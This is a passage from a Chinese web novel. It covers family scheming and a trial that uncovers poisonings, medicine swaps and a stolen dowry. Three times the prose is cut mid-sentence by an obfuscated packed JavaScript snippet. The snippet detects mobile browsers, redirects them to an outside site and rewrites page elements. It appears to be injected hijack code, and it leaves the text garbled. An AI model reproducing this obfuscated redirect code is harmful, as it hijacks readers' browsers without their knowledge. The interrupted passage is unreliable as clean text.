赵二郎不明所以,赵金白气得差点厥过去,压低声音说:“为父和王相相交,那是我们上一辈的事情,你算个什么?你还未入官场,你瞧瞧殿下身边伴读,谁和你一样这么大喇喇地替别人办事你、你……” “你这说大了,是替别人算计太子殿下!”赵金白气得发抖,说:“你的主子只有太子一个,什么时候轮得到太子妃吩咐你了?!” 赵二郎登时迷惑不解,说:“父亲,您不是与王相……” “世事如棋局局新。二郎,我教你下棋的时候说过,你要当的是棋手,而不是棋子!这世上只有两个人有资格把你当棋子,一个是当今圣人,另一个是太子殿下!”赵金白看他还没搞清楚重点,气得咬牙,对赵二郎说,“最近事情太多,我实在是疏忽了对你的教导。从明日起,除了去太子府点卯,其他时候,你都给我在屋里念书,等我考校!” “夫君,那他媳妇怎么办?”赵夫人立刻说。 “晚上跟她说清楚,叫她选,到底是选当赵家的儿媳,还是当李家的女儿!”赵大人冷声说,“李珺名声若是救不回来了,王相到底能不能把他拉回朝堂,还未可见得。” “王相不会下力气保他吗?”赵夫人忍不住问。 “也许会。”赵大人沉声说,“但是白芷有自己的孩儿了,夫人。白芷用得上关姑娘,这时候不送人情,等到事情水落石出再送,就没用了!” 赵夫人心中重重一震! 而后她眼含精光,恍然大悟! 她立刻点头,说:“你说的是,我和二郎这就去和婉淑说清楚!夫君放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521659|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我定让老二媳妇明白轻重!” 说完,赵大人露出满意神色,看着赵夫人拖着赵二郎出门去了。 “阿娘,你们什么意思?”赵二郎被拖出来,不解地问。 “二郎,你嫡亲的妹妹有了孩子,若是儿子,那便是日后的皇孙!若不是也没关系,你妹妹如今得宠,只要能生,日后自然有皇孙出世。”赵夫人带着赵二郎往他那院子里走,一边压低声音说,“你替谁办事能比替你妹妹办事牢靠?” 赵二郎登时反应过来,不可置信地说:“母亲,是妹妹叫你把娟儿放出去的?!” “那不然呢?放在屋里,她没了孩子继续给你媳妇活活害死?!”赵夫人怒声说。 “我、我不是这个意思。”赵二郎露出羞惭之色,而后轻声说,“娟儿没事,我心中也是放心了。” “不许再去找她!”赵夫人压低声音,怒声说,“等这阵子风头过去,娘给你提拔两个懂事颜色好的通房,现在你给我老实点,把你媳妇哄好,让她心里得有个指望,你可知道?” 赵二郎自然又连声答应不提。 赵夫人去了他们屋里,婉淑正心中惊慌不安呢,听说赵二郎回来了,登时心中大喜,连忙出来相迎。 结果当头看到赵夫人,婉淑登时心中就“咯噔”一下。 赵夫人嘘寒问暖之后,自把自己的来意说了。 婉淑脸上青一阵白一阵,赵夫人也不逼迫,只淡淡说:“淑儿,你年纪小,虽然办错事,但是那是二郎溺爱通房在前头,这事儿你说我没有怨气,那是骗你的。但是你才是二郎的正妻,他有错在先,只要你好好与他过日子,日后生下嫡子,前头的事情,我都可以当没发生过。通房那些我都打发了,我跟二郎说了,你生下嫡子之前,这屋里绝不会再添人,你自己想吧。” 说完,赵夫人就离开了。 婉淑送完赵夫人,心中听说赵二郎身边的莺莺燕燕被送走了,十分欢喜,但是要反口说自己家里的是非,到底又还是惴惴不安,但是赵二郎这人是个情场浪子,他之前与婉淑赌气,今日却换了一个人一般,又是赌咒发誓,又是问婉淑是不是铁了心和她过一辈子? 如此缠磨,婉淑本就心中向着他,竟是被赵二郎哄得差不多了。 “我不能把脏水泼给我娘啊!”婉淑还是有理智的,她含泪对赵二郎说,“二哥哥,淑儿不论做什么,不也是为了二哥哥多来看看淑儿?二哥哥有吩咐,淑儿万死莫辞,但是无论如何,不敢攀扯到我娘头上。” “当然不能!”赵二郎立刻点头,说,“那可是我的岳母,也是我另一个娘,我孝顺都来不及,哪里能让她蒙冤?” 他说:“你直接说你听你那小娘说的药方,不就是了?” 说是祖母做的,父亲会大怒,但是若是崔小娘的话,那就非常好分说了。 而且还能把脏水全泼给西院,指不定办得好了,父亲和母亲都可以把事情顺水推舟…… 婉淑心里也是这个打算,但还是假作害怕了一会儿,等到赵二郎哄得差不多了,她便掐着作态答应了。 这一夜难得是嫁人之后的温存,婉淑小心伺候,赵二郎有事相求,倒是看上去琴瑟和鸣,十分恩爱。 第二日,便是第三次再审。 第一百五十五章 当年真相 “李狗儿已经招供,姜妈妈以二十两银子,朝他购买山货一担!内含断肠草半斤、芦蒿十五斤、新鲜山菌十五斤。”孙府尹身边的师爷一开始就把进度全说了,然后孙府尹说,“李大人,这山货最多价值百八十铜子,以这样的价格买卖,李狗儿说他问得清楚,这妈妈让他不许多问,想来确实是蓄意谋害。” 李珺立刻眼圈发红,拱手说:“家门不幸,让大人见笑了。” “姜妈妈,你蓄意谋害主子、致使李婉玉**惨死,你可认?”孙府尹看李珺没有异议,便对跪着的姜妈妈问,又提醒,“你要如实作答,谋害主子,可是要杀头的大罪!” “老婆子只是与大姑娘起了口角,而后想吓唬大姑娘而已,老婆子也没想到大姑娘会死啊!”姜妈妈跪在地上,流下眼泪,说,“老婆子也不知道庄子上的厨子竟然连断肠草都看不出来,还做给大姑娘吃了啊!” 看来这两日,姜妈妈得了高人指点。 毕竟蓄意**主子,无论如何都要杀头,但是若不是故意的,便情有可原,最严惩也就是流放。若是有人照拂,说是流放,其实指不定过的也不会太差。 关怀素立刻笑了一声,冷声开口:“原来如此,姜妈妈真是有闲情逸致,你指使人花了两三百两,加上李狗儿的二十两,这应该是姜妈妈的毕生积蓄吧?姜妈妈花了毕生积蓄,就为了吓唬一下我姐姐?那如此说来,家里这十几年,竟没有任何人与姜妈妈吵过嘴,否则姜妈妈这一辈子积蓄也够不了吓唬几次人吧?” 在场之人立刻反应过来,孙府尹也立刻呵斥,说:“你花费一辈子的积蓄,就为了吓唬人?你当大家都是傻子不成?你分明就是怀恨在心,蓄意**!” 这话一出,姜妈妈立刻心中发冷,知道自己怕是逃不过了。 “可惜了,姜妈妈为了一时之气,一辈子辛辛苦苦,临了被**,说不得连收尸的人都没有,到时候横尸菜市口,为野狗吞噬,尸首不全,下辈子连投胎都不成了……”关怀素还没说话,今儿好容易好些,陪着一起上公堂的丁妈妈却突然阴阳怪气地开口。 丁妈妈这一开口,姜妈妈登时浑身一抖,猛然发疯一般转头破口大骂:“你胡说!我没做什么亏心事,凭什么会尸首不全!我家小娘会给我收尸的!” “崔妙人谋害主母,自个儿还不知道会不会死呢!”丁妈妈也骂回去,说,“你等着二姑娘和大少爷有没有空给你收尸,看看你会不会尸首不全,下辈子你猪狗都投不了,变作牛马天天给人驱使,再也不能投胎成人了!” “你胡说!你胡说!”一直非常冷静的姜妈妈却突然疯了一样,气急败坏地大骂完,还转头对崔妙人哀求,说,“小娘,小娘你会替我收尸的对吧?小娘,我也是为了小娘死的,你一定会安排人给我收尸的对不对?!” 别说在场之人都惊呆了,哪怕是关怀素都没想到这一出,看得目瞪口呆。 孙府尹更是发现了突破口,立刻一拍惊堂木,说:“崔妙人要看押再审,但是你今日承认,后日便是斩首的日子,你乃是罪奴,不许李家替你收尸!死后便丢于乱葬岗便是!” 孙府尹的话在姜妈妈心中无异于金口玉言,登时姜妈妈就突然疯了,猛地大声说:“我不要,不是我!我是受了老夫人的指派才去办这事儿的!不是我要杀大姑娘!” 此言一出,众人轰然而惊! “我好像来迟了?”正乱成一团的时候,衙门门口,一道清朗的中年男人声音迟疑地问。 众人都一回头,便看到一个穿着黑色文士衫的男人入内,他整个人瞧着乱糟糟的,手臂还挂在胸口,用夹板固定住。 而且他脸上还有血痕,头发也是十分散乱。 此人十分狼狈,但是走入严肃哭泣大闹的公堂,却还带着点作客一般的嬉笑,入内之后,对着关怀素点点头,说:“嗐,大侄女!” 又说:“第一次见面,叔叔没有别的礼物,便先赶着回来,给你做个证人!” 看到来福护送在此人身边的时候,关怀素就猜到了此人的身份,此刻听到他果然打招呼,登时激动地站起来,立刻问安:“闵叔叔,多谢你及时赶回来!” 闵志杰点点头,笑着说:“这是自然的,毕竟上回我回京的时候,你姐姐还跟我说,她好像查到你母亲的死有点猫腻……所以,她当时交给我一个东西。” 闵志杰后面那句话,却是对着李珺说的。 他用一种极其冷漠又压着愤怒的语气说:“李大人,当初你从王相家里求来的姜黄,根本一点也没用在关娘子身上,对不对?” “闵大人,此话何意?”李珺也站起来,一脸愤怒地说,“当时我亲手求回来药,马上就拿去入药了!” “哦?那为何婉玉在你母亲房里找到了这一盒没用过的姜黄?”闵志杰冷冷地从怀里掏出一个盒子,说,“这上头有印刻,大人可以查看,我前几年回京的时候,是我那侄女亲手交给我的!” 关怀素都不知道还有这回事,她只知道姐姐在调查母亲的死因,却没想到那时候姐姐就查到了这么重要的证据,还亲手交给了闵叔叔! 难怪老夫人那么容不得姐姐,只怕老夫人也察觉到了姐姐在查当**情! 关怀素想到这里,心中对姐姐思念又悲伤,眼圈不由得发红了。 “这、这确实是王相家的私刻。”孙府尹检查了一下,看向李珺,说,“李大人,这到底是怎么回事?” “我、我亦不知啊!”李珺闻言,登时也大惊失色,说,“是不是用完之后,我家又采购了新的,我那女儿不知道……” “李大人,五十年份以上的姜黄,哪家店里若是卖出去,都会有记录,你能交出来家中采买记录吗?”闵志杰冷声说,“何况每个郎中炮制药物的手法都不一样,这份姜黄明显就是早年仁心堂老掌柜的手艺!他老人家都走了多少年,还能教你再买到他手里出来的新药?!” 闵志杰乃是太医,他说的这种细节,还真是旁人都不知道! 此事说到这里,证据板上钉钉,当初定然是有人换了关娘子的药! “李大人,这药既然在李家老夫人房里,关娘子当初吃的又是哪里的药?”孙府尹便立刻问李珺,“李大人,当初你求药之后,到底发生了什么事情,麻烦你细细道来。” 话说到这里,李珺登时面色凝重。 他知道,此时他说出的名字,便是谋害发妻之人! 若是说出母亲的名字,李老夫人谋害儿媳,可是天大的丑闻!出了这等事,他的品行亦会受到质疑,只怕官路就要断掉了! 李珺看了一下跪在地上的崔妙人,露出悲伤愧疚之色,崔妙人立刻意识到了不好,果然下一刻就听到李珺说:“我当时回来,心力交瘁,便把药先交给了妙人,让她赶紧送给我娘。” “你当时没有交给管家或是老夫人,而是交给了小娘?”孙府尹心中冷笑,立刻追问。 “让大人见笑了,当时我娘子在庄子上养胎时,家里暂时由崔氏管着。”李珺艰难地说,脸上火辣辣的,“我娘子回家之后也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522335|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直在生病,崔氏便一直帮着管理小事,也是想让她安心养病。” 说是这么说,但是大户人家里,大多生产的时候都是身边贴身妈妈帮着,哪家轮到小娘做主了? 但是众人都没出声,孙府尹便问崔小娘:“崔氏,你有什么话说?” 崔妙人能有什么话说? 她全身都是冷汗,脑子疯狂转动。 事情到了这个时候,李珺铁了心要把事情丢给她,她若是不接,日后李家便再也没有她容身之地了! 文哥儿还没长大呢! 崔妙人咬牙,含泪看了一眼躲闪的李珺,心中悲痛难言,但是却依然说:“回大人,妾身、妾身当日确实扣下了这姜黄,只是妾室只是贪财,换了年份不好的,并不敢谋害主母!” 她说着流下泪来,也不知是为了自己,还是为了多年前那个宁可为了珺哥哥死的小姑娘。 “不可能!这是我离京之前记录的关娘子脉案和药方,我当时安心离京,就是因为我知道关娘子将养得当,绝对没有危险,所以才放心离开京师!”闵太医从怀里又掏出一叠纸来,怒声说,“当日关娘子出事,我得知之后已经过了好几年,当时我心中还十分疑惑,前几年回来时我就拿这事儿问过李家人,结果李珺你跟我说,说关娘子因为家里事情悲伤太过,不肯吃药,我还当真了!” 闵太医怒声说:“若是按时吃药,关娘子下红早止住了,我想要五十年以上的姜黄只是为了药效更好温养,早些彻底好起来,那时候关娘子可没有生命危险!当日我走的时候还与她笑谈,说她还眼巴巴让李珺和她立誓,约定若是不测、嫁妆给女儿,实在是杞人忧天……” 说到这里,闵志杰露出难过之色。 这就是大家都不知道的事情了。 关怀素也一直以为当初阿娘病得很凶,所以才会大张旗鼓地求药,才会病逝。 如果、如果阿娘当时都快好了,那就是生生被人下药而死的啊! 关怀素想到这里,眼泪登时又出来了。 而孙府尹翻看脉案,登时脸色也沉了下来。 他看着崔妙人,说:“闵太医这脉案显示,当初关娘子已经快大好,她下红之症早已经止住。你换了她的药,才是破血而死的主因,你谋害主母,罪当杀!崔氏,你可认罪?!” 崔妙人没想到还有这等事情,惊慌失措,她哪里肯死,哪里想死啊? 她立刻哭着看向李珺,说:“珺郎,救命,救命啊!” “大人,崔氏只是换了药效不好的药,她罪不至死啊!”李珺登时也急了,连忙开口。 “若只是换药,按脉案所显示,关娘子应当无事!”孙府尹立刻说,“此事与赵二夫人毒害通房娟儿是一个症状,赵二夫人,你是从何得知这方法?” 一直沉默的婉淑,她从来公堂之后,就一直与赵二郎一起躲在人群后面。 这时候被点到,她登时浑身一抖。 关怀素抬头看过去,便看到她脸色发白,盘着妇人发髻,一脸的仓皇。 但是她很快露出了坚毅之色。 关怀素有些紧张,她觉得按照情理,婉淑应该会顺手掐死崔妙人,毕竟她与西院斗了十几年,绝无什么好处。 可崔妙人在家里十几年,与孙大娘子知根知底,婉淑会不会投鼠忌器,不敢说出真相? 关怀素心中担忧,紧张地看着。 “回大人,我、我是自小娘那边偷听到的。”婉淑一开口,崔妙人眼睛登时恶狠狠地瞪过去! 第一百五十六章 狗咬狗 “你胡说!”崔妙人恨不得咬婉淑一口,怒声说,“你血口喷人!” “你如何偷听到的?”孙府尹问,“细细道来!” “是、是前几年,我父亲的另一位小娘有孕前后,那几日祖母说软枕用着不舒服,我便自己做了一个,想着给祖母送去。”婉淑颤声说,“结果到了祖母院子边上,突然听到院子里崔小娘说,说宁小娘那孩子虽落了,但是到底不放心她,把她药方里的姜黄换成三棱和莪术,那东西破血的厉害,尤其是小产之后,妇人生产前后下红不止也不容易引人怀疑,保管神不知鬼不觉……” 婉淑说完,跪在地上,说:“大人若是不信,可以叫宁小娘来细问。” 孙府尹立刻叫人去请宁小娘。 宁小娘很快到了,她特地扑了粉,愈发脸色苍白,瞧着有些病态。 到了公堂,宁小娘进门就流下热泪,恨恨地看着崔妙人,说:“我只知道我肚子里的孩儿是被崔小娘设计害死,我却不知道后来下红不止也是她的手笔!” 宁小娘擦了擦眼泪,从怀里掏出一副药来,说:“我、我这些日子又有了下红不尽的毛病,我还以为是小产伤了身子,今儿个听说这个事情,便把我吃的药拿来了。都是家里库房里的药材。” 闵志杰立刻伸手,用没受伤的左手拨弄了一下,嗅闻完,便冷声说:“这里头有三棱和莪术,除此之外,还有这个。” 闵志杰从里头挑出一点细细的碎末来,这是一点细如发丝的须末,不知道还以为是哪种药材的边角料。 闵志杰沉声说:“这里头,还有生首乌。这方子又破血又有毒,体虚之人吃个半年,只怕就要生生七窍流血而死!” “闵叔叔,老夫人正是七窍流血而死!”关怀素立刻敏锐地意识到了什么,她立刻出声说,“当时郎中说老夫人也是**,说是家里的药膏导致老夫人**而死,您可否看看,那药膏一次性下毒,能否毒**!” 孙府尹也觉得此事极好,立刻便叫衙役把扣做证物的止痛药膏拿了出来。 闵志杰挑起药膏细闻,然后又问了一下配方,最后摇头,说:“这东西混着药吃一两次,绝对不可能毒**,要到七窍流血而死,李老夫人只怕是吃了至少几个月的**了。” “妙人!这到底是怎么回事?!”李珺登时急了,他不可置信地看着崔妙人,说,“母亲一直是你在贴身伺候,她怎会长时间地吃下**?!” 崔妙人登时流下泪来,疯狂摇头,说:“夫君,我不知道,我不知道啊!” 她说到一半,突然指着孙萍说:“是大娘子!一定是大娘子!夫君,我想起来了,我想起来了!当初大娘子管家,她买的生首乌!” “夫君,家里每年都会买些上好的药材,这都是旧例了。”孙萍立刻说,“家里不但备了生首乌,也备了熟首乌、人参、党参、灵芝等等,都是常备的,我确实采买了这些药材,但是可没让人掺在老夫人药里。” 到了这个时候,关怀素与老夫人的死算是终于彻底掰扯开了。 最妙的是,这个时候,李老夫人的死已经闹到公堂上,关怀素的嫌疑已经逃脱,但是李家想息事宁人也不可能了。 孙府尹一定要把这件事情查清楚,不可能放他回去自审。 且事关母亲的死,李珺也不可能让这件事情息事宁人! 因此,孙府尹到了现在,第一次在公堂之上,对着众人用了刑。 大刑一上,立刻便有人熬不住,尤其是被重点审问的严妈妈几乎是没几下就大哭着招供,只说:“我没看到大姑娘下药,是崔小娘让我说的!” “那你可见到崔妙人给老夫人下药?”孙府尹立刻冷声问。 “没有,我没见到,但是老夫人的药确实是崔小娘亲自熬的!”严妈妈哭嚎着跪在地上,抖抖索索,把一切事情都说得清楚。 “冤枉啊,我自小伺候老夫人,衣食住行样样都注意,总不能因为这样,就说我是下毒之人吧!”崔妙人也大哭起来,说,“如果不伺候长辈才算没有嫌疑,那我这些年又算是什么?” 这话一说,李珺也面露不忍,想要说话。 孙萍却突然开口,说:“崔小娘不说我还没想出来,家里的药除了都在库房,老夫人那里独有一份备着。想查出来是谁下药非常简单,家里的药我知道,来去都是有数的,生首乌没动过,就看看老夫人库房里的药有没有动过就知道了。” 孙府尹闻言,十分赞同,立刻便叫人去查看。 衙役们回来之后,呈上药盒,果见生首乌里空了半盒。 “这东西有三四十年了,做药膏都是从公中出的,老夫人这里的东西素来等闲是尽量不动用的。”孙大娘子看到之后,立刻便蹲身下来说。 这确实是约定俗成的事情,因好年份的药材难得,不是有钱就一定能买到,老人又是用药最耽误不得的,所以这种能存放的东西,素来都是先紧着公中的用,实在是公中没有了,才能开老人的私库。 孙府尹点头表示理解,而后便问:“这里头的生首乌竟然用了这么久,可见不是一日之功,到底是谁毒害老夫人?” “是、是陈妈妈!”严妈妈趴在地上,又要被用刑时,她突然想到了什么,脱口而出! 而后严妈妈反应过来,似乎觉得这个解释极好,振作起来,连声说:“对,肯定是陈妈妈!她早年就和老太爷勾搭,她肯定是怕老夫人知道满娘的身份,所以才抢先下毒!” 孙府尹吩咐上刑,可严妈妈大约是知道,若是牵扯到崔小娘,她便一点帮手也没有了,而推给陈妈妈,日后指不定还有翻身的机会,因此竟然是咬紧牙关,几次昏死都咬**是陈妈妈下的手。 孙府尹大怒,立刻便对老夫人院子里的人都开始用刑,结果闹了一圈,立刻便有好几个婆子招供,只说往常严妈妈总是偷懒,熬药的时候总叫崔小娘帮忙,且崔小娘是除了陈妈妈之外能接触到老夫人药材的人,因为老夫人不放心别人,总叫崔小娘熬药,一来二去便叫她缺了什么拿钥匙自己去取。 算来算去,唯一有可能的,便是崔妙人。 李珺不可置信地看着崔妙人,崔妙人哭着大喊冤枉,可是这时候,哪怕是李珺都不那么容易相信她冤枉了。 “妙人,母亲对你视如己出,你怎么会,怎么可能……”李珺不敢置信地颤声质问崔妙人。 “珺郎,我是冤枉的,我真的是冤枉的啊!”崔妙人流泪,说,“那生首乌不是我用的,珺郎,珺郎,我不能说,但是生首乌真的不是我用的……” 李珺心头一跳,似乎意识到了什么。 关怀素立刻冷笑,接口说:“难道还是老夫人用的?还是老夫人身边妈妈无事给我下毒?说起来我的小侍女在家里曾经中了生首乌的毒,我查不出是谁下毒,又怕她年幼不知防备,便把她送到了姨母家中,此事有郎中和药方为证。” 她说完,看着崔妙人,说:“家里谁想毒害我?不是小娘谋财,难道还是我的亲祖母?” 崔妙人一愣,李珺的脸色也漆黑下来,怒声说:“你胡说什么,那可是你的亲祖母,她怎会害你?!” “她怎么不会?李珺,你亲舅舅曲耀祖的事情,你不会忘了吧?!”闵志杰突然开口,叫李珺一下子急地站起来说,“你不要胡说八道!” “我胡说八道?当初曲耀祖在乡下仗着你的势横行乡里,欺男霸女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527512|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹得人家一家人惨死之后,被判秋后处斩!当时处理此事的人就是陆大儒的三儿子,你母亲当时为了保住娘家这一根独苗,逼着有孕的关娘子写信给曲耀祖求情!关娘子不肯,你是不是也用情分相逼,你母亲还以死相逼,要告关娘子不孝?!”闵志杰指着李珺,冷声说,“你就说,此事是不是真的?!” 李珺唇齿发抖,一时说不出任何话来。 众人意识到,这事情是真的。 这种陈年阴私,在场大多数人都不知道,登时都倒抽一口凉气。 关怀素更是愤怒地捏紧了帕子! 因为祖父最恨便是鱼肉乡里之人,母亲绝不可能为了这等**之人求情!李珺身为夫君,难道不知道母亲的性子? 他知道,可是他还是强迫有孕的母亲做违背自己良心的事情! 难怪母亲会远走到庄子上,难怪母亲会要和离!原来不只是崔妙人在其中的事情,还有这种恶心人的事情! 母亲一定对李珺极其失望,所以才会做了这样决绝的准备。 “你不敢否认,对不对?因为你知道,关娘子为曲耀祖写信求情的书信,可能还在陆家!”闵志杰怒声说,“关娘子为了你,违背自己的心意,咬牙给曲耀祖写信,去找人求情,判了曲耀祖流放!可惜,曲耀祖一辈子养尊处优,哪怕是你家派人疏通打点,一路上舒舒服服的仿佛游山玩水,但他没吃过苦,竟连赶路都抵不住,就这么病死在半路上!你母亲是不是因此记恨关娘子?是否故意因此提拔了这个与你早有**的小娘来恶心关娘子?” 闵志杰指了指崔小娘,而后又指着李珺说:“你明知道你母亲与关娘子有这等生死大仇,还把关娘子留下的女儿给母亲抚养,你说你猜不到你母亲会**甚至仇恨李婉玉,你自己信不信?!” 外头众人都窃窃私语起来。 显然,众人都不相信李珺想不到里头的猫腻。 关怀素立刻流下泪来,哭着说:“我一直想不明白,为什么祖母如此仇恨姐姐,那可是祖母的陪嫁下人啊!竟然在庄子上对姐姐百般苛待,连吃饭都吃不饱,李家不缺钱财,顺便养只猫狗的钱财都够我姐姐活下来了,可为什么一定要害死我姐姐?” 她哭着擦眼泪,却擦也擦不干净:“原来是因为如此原因,难怪我娘会被害死,难怪我姐姐会被害死……原来不只是钱财的关系!” “你胡说什么!现在有嫌疑的是妙人,不是我娘!”李珺又羞又恨,匆忙之中,脱口而出! 崔妙人露出震惊之色,不可置信看着李珺。 “所以你承认了,有人一直想害婉玉,还害**婉玉!现在又来冤枉我的怀素,想把关娘子留下的孩子斩草除根!”程娘子一直等到这个时候,立刻掐准时机大声开口,而后对孙府尹说,“府尹大人,请您严审此案!还怀素一个公道!” “对!还有,李家必须立刻归还关家的财产!”闵志杰说。 “口说无凭,闵大人,此事与你无干!”李珺愤怒开口。 “我手里有你与我娘约定的契书。”关怀素就等这一刻,她冷笑一声,开口说。 这下子真正是连续打蛇到了七寸,李珺脸色一下子变得又红又白。 孙萍更是不可置信,说:“怎么可能?伪造文书可是犯法!关怀素,你别胡来!” “你看看便知道了。”关怀素把契书拿出来呈上去给府尹过目,而后说,“说起来,还是多亏孙大娘子把我娘留给我们的首饰匣子送回来,你可能不知道,我关家擅工学,我娘把契书,就藏在给我和我姐姐留下的首饰匣子里呢。” 这一句话,李珺恶狠狠地瞪了孙萍一眼,孙萍更是不可置信到了极点! 第一百五十七章 欠债还钱 “这上头印鉴齐全,看着没什么问题。”孙府尹看完,立刻说,“李大人可以确认一下。” 李珺看了一眼,脸色发白,整个人精神瞬间颓丧。 这便是没有异议的意思了。 “如此,择日便把关娘子的嫁妆全数还给关姑娘。”孙府尹一拍惊堂木,做下断言。 “大人,民女还有个事情!”关怀素立刻说。 孙府尹示意她继续说,关怀素立刻拿出母亲的嫁妆单子,说,“这是我娘身边的妈妈用性命留下来的、我娘真正的嫁妆单子,她老人家临终给我的,李家现在那份是后来伪造的,我要求按照我娘真正的嫁妆赔给我!” “你胡说!”李珺听到外面百姓哗然,只说没想到李家居然如此不要脸,吞没嫁妆还做假的单子欺负孤女,登时气得面皮紫胀,怒声说,“我们何曾做过假单子!” 关怀素就等着他说话呢,立刻从怀里掏出庞妈妈偷出来的那份假单子,冷声说:“早知道大人不会承认,这里是李家后头做的假单子!” 送上去之后,孙府尹一看,直接摇头,说:“李大人,何必如此。” 外头百姓哗然,显然这便是证明关怀素所言非虚。 李珺气得发抖,差点昏厥过去,对着孙萍就怒声吼:“你们在后宅到底做了什么!我日日勤勉,哪里就需要如此斯文扫地的方式,吞没我亲女儿的钱财!” “夫君赎罪,是、是我们无知!”孙萍立刻跪下,流下泪来,哽咽说,“是妾身等犯了糊涂,动了贪心……” 众人立刻纷纷摇头叹息,感慨:“果然,后宅女子手段,就是如此。” 还有人说:“李大人真是可怜,娶妻不贤害三代啊!” 关怀素心中佩服孙萍,瞬息之间,便能决定保住李珺,为此自己背黑锅也无所谓。 李珺此人首鼠两端、气量狭小又贪得无厌,偏会娶妻,两任妻子都是人中龙凤,任何一个他好好过,都是助力。 可惜此人品格太烂,通天的青云路,都被自己鼠目寸光生生掐断。 关怀素暗自感慨,孙府尹已经做下决断,看向李珺说:“李大人既然与关娘子有约定,本府判决,即日开始,请李家在七日之内,将关娘子嫁妆全数归还给关姑娘!” “大人,李珺这些年看护不力!差点打杀我们怀素,孙萍**继女……这些罪名不能如此放过啊!”程娘子听到这里,立刻说话! “我自进门之后,每月都给关娘子上香,嫁入李家当日穿的是妾室衣裳,从未轻慢关娘子!”孙萍可不敢坐实如此罪名,立刻说,“当日我进门之后,因怕我没有孩子,照顾不好大姑娘,夫君特地让我不许管大姑娘的事情,我确实有些贪财之心,但是绝不认苛待继女!” 按律法来说,孙萍这个说法确实说得过去。 她到底是继母,说实在的,没找到实在证据,也没人能对她说什么。 只是在座都知道她是什么人,闻言不免十分恶心。 李珺也说:“我娘子绝无苛待过大女儿,但是我身为父亲,确实有失察之罪……怀素!” 最后,李珺却突然转身,对着关怀素露出悲痛之色,说:“怀素,是爹对不住你!我不知道家里竟然有这种事情,你姐姐性子内向,从来又没有与我说过,我、我对不住你啊!” 说到最后,李珺双眼发红,竟然流下泪来。 “男子在外行走,家宅里的事情哪里能知道这么清楚?”关怀素冷笑一声,说,“父亲是不是想用这个理由,告诉我你对后宅之事一窍不通,你是被崔小娘所骗,一点也不知道姐姐在家里过的什么日子?” 李珺一愣。 外头在点头的百姓也是一愣。 “第一,李家统共就三进院子,几步路的距离,您但凡真的关心我姐姐,散步能去院子里走一圈,自然能看得明白她过的什么日子。但是这么短的距离,您一次都没去,您敢说你在乎我姐姐?”关怀素盯着李珺,冷笑一声,说:“第二,家里人都是看你眼色过活,大娘子也好、小娘也好,哪个不是揣摩你的心意活着?你但凡在她们面前稍微多在乎一两句我姐姐的死活,她们也绝对不敢和您对着干!” “好,我就当您是真正的蠢货!”关怀素冷冷地说,“那么第三,在李家那么小的地方,您总会有一两次见到姐姐面黄肌瘦的样子,您总见得到下人不把她当人的时候,只要您说一句话,给姐姐撑腰一次,她就不会被欺辱成那样子。” “你一次都没有。”关怀素盯着李珺,冷声说,“你就是想让她受欺负,你就是想让她死,这样关家的一切就都是你的了,这里面,崔妙人、孙萍都只是揣摩到了你心意的刀而已。” “别装好人装到连自己都骗了,李大人,你骨子里就是个冷酷残忍、自私**的卑劣小人!”关怀素冷声说完,站起来,对着李珺说,“你现在说这些,不就是不想吐出吃掉的关家财产吗?我告诉你,钱,一分都不能少,必须全部还给关家,一分不少都要还给我!” 李珺被她骂得面皮紫胀,大怒说:“你这是不孝!我是你爹!” “你没有养过我,我是关家人,与李家从无干系!”关怀素看着李珺,怡然不惧,说,“别拿你那什么狗屁学说压我,我关家从来不齿你那套,什么女子当大门不出二门不迈,我祖父说了,一帮男子不想着经世治国,却只想着用压迫女人来立威,可见不过是一群品格**、无才无德之人哗众取宠罢了!” 此话一出,登时叫众人侧目! 连孙府尹和程娘子都紧张了,关怀素却一点也不畏惧,只对着李珺说:“如今一见李大人果然如此,官场没混出个什么,撺掇家里妻妾斗争而为自己争利这招,可真正用得炉火纯青!” “你!”李珺气得差点想动手**。 “李大人!咆哮公堂可是重罪!”孙府尹一拍惊堂木,叫李珺生生放下了手,只能粗喘气。 他瞪着关怀素,可是这无法阻止事情接下来的发展。 “关娘子的嫁妆,七日之内,李家必须还给关姑娘。”孙府尹下了最后决断,而后看向堂下跪着的姜妈妈,冷声说,“至于你,毒害主子,罪当杀!” 孙府尹立刻一拍惊堂木,厉声斥问,“姜妈妈,本府最后问你一次,是谁指使你!” 姜妈妈吓得浑身颤抖。 “姜妈妈,崔妙人也是死罪,没有人给你收尸,你等着当孤魂野鬼吧!”丁妈妈突然大吼一声。 